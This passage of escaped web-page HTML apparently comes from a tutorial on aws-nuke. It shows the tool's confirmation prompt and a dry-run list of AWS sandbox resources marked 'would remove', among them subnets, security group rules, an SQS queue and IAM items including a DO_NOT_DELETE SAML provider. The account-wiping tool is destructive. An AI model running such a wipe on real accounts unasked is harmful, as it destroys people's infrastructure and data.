#96D0FF\"\u003enuke.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis should output something like:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereally\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewant\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccount\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e777777777777\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eand\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ealias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'nuke-sandbox'?\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eDo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewant\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtinue?\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEnter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccount\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ealias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtinue.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e nuke-sandbox\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0cd9975a443a6304b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0be39d02e399a371c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-02d7017bd4730ea63\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0ec04b28c32708ab2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-0eea1b4be084840ed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2Subnet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esubnet-05a294cc04736012e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultForAz: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDefaultVPC:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eOwnerID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"777777777777\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2RouteTable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ertb-0abda0e94015064ca\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esgr-0368525f77bf566ac\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2DefaultSecurityGroupRule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esgr-0890a837ed6148729\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [SecurityGroupId: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sg-0a59900b52ced5e10\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEC2InternetGatewayAttachment\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eigw-0acfb474f1fd71375\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evpc-0be5d310ab44c239a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [DefaultVPC: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"true\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSQSQueue\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://sqs.us-east-1.amazonaws.com/777777777777/example-sqs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMOpenIDConnectProvider\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:oidc-provider/app.terraform.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [Arn: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:oidc-provider/app.terraform.io\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMPolicy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earn:aws:iam::777777777777:policy/tfc-agent-access-policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [ARN: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::777777777777:policy/tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eName:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"tfc-agent-access-policy\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePath:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/\",\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePolicyID:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ANPA2T6PZOBNWI76TKQRF\"]\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewould\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eremove\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIAMRole\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 